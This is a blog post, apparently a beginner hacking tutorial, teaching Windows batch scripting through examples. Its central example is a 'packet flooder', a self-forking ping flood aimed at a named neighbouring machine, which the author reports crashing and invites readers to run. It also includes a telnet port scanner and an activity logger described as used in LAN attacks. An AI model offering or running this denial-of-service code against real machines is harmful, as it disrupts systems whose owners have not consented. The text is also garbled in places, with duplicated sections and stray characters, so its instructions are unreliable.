Wednesday, January 13, 2016

BATCH PROGRAMMS

NOTE : ple read about that programm and then try to execute it.



Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS.


How to create a Batch Program:

As said earlier, batch programs can be written using any of the text editors such as notepad, wordpad and so on, but notepad is the most often used text editor in such cases. Like any other programing languages, lets start our first program with the ‘Hello World’ program.
1. Open up a notepad and type the following.
@echo off Echo Hello World pause
3
2. Save the file with any name you wish, but make sure that you save the file extension with .bat, in this case I am saving this file as ‘first.bat’. 3. When you save the batch file, then the icon becomes like the below icon,
In Windows XP, the Batch file icon looks like above, where as in Windows Vista the Icon looks like the below image,
4. Just double click to execute the batch file that you have created now. And the output looks like,
5. You are done!



*******      Be-care full guys  with this programms***********


SOME EXAMPLE PROGRRAMMS

Packet flooder
:


@echo off
:flood
ping -l 65500 -t 10.199.64.66
start flooder.bat
goto flood


 save this file as flooder.bat....run it .see what happen......

 I have used the fork bombing technique, it will open up lot of command windows on your screen too, there are chances for your computer to crash too.
In the above program I have used my neighboring computer 10.199.64.66 as my victim, and I have tried for just 3 minutes running this program and I found the remote system restarting, until then I have turned off my monitor, because my screen too was flooded with command prompt windows. You may replace the IP address 10.199.64.66 with either your networked computer’s hostname or IP address, if you want to check by yourself.******

Logging system activities:

@echo off
echo. > l1.txt
echo Log File >> l1.txt
echo. >> l1.txt
echo User : %username%  >> l1.txt
Date /t >>l1.txt
Time /t >> l1.txt
echo. >> l1.txt
echo Process Ran by %username% >> l1.txt
echo. >> l1.txt
qprocess  >> l1.txt
echo. >> l1.txt
echo Network Activities  >> l1.txt
netstat -s >> l1.txt
exit
 ABOVE MUST AS .bat formate and then  continue next step..here

<html>
<head><title>Log File - Cybercrawler</title></head>
<body>
<br>
<center><h1><u> Log File </u></h1>
<i>This Log file is created by <b>Cybercrawler</b> for monitoring System Activities!</i>
</center>
<br>
<ul>
<a href="c:\l1.txt">Click here to view the Log File</a>
</ul>
</body>
</html>

THEN COPY ABOVE CODE AND SAVE AS .html AND  PUT  TWO FILES INTO ONE FOLDER ...execute .bat file.....u can see login information and (LOGFILESackets received ,sent.

then go back folder u will find log txt file..open it and watch..enjoy.(MOSTLY USED IN LAN ATTACKS).

Schedule to automate tasks:


As you have learnt in the above chapters, that ‘at’ command is used to automate tasks, here the given script helps automate tasks,

@echo off
rem Automate Deleting temporary files.
at 10:00 AM /every:SU,M,TU,W,TH,F,SA "C:\del_temp_files.bat"
exit


This program will clear all the temp files at 10AM on daily basis, only if logged on. The ‘C:\ del_temp_files.bat’ is the batch file that is given in the previous example

Batch Port Scanner:

The following program checks for open ports by telnetting each port starting from 1 to 20, and if it detects an open port, then it will start a telnet session and reveals the open port. You can also change the port range by changing 1 and 20 to the number you wish.

Batch Port Scanner:
The following program checks for open ports by telnetting each port starting from 1 to 20, and if it detects an open port, then it will start a telnet session and reveals the open port. You can also change the port range by changing 1 and 20 to the number you wish.
@echo off
title Crawlers Port Scanner
color 0a
cd\
cls
for /L %%v in (1,1,20) do telnet %1 %%v
pause


No comments:

Post a Comment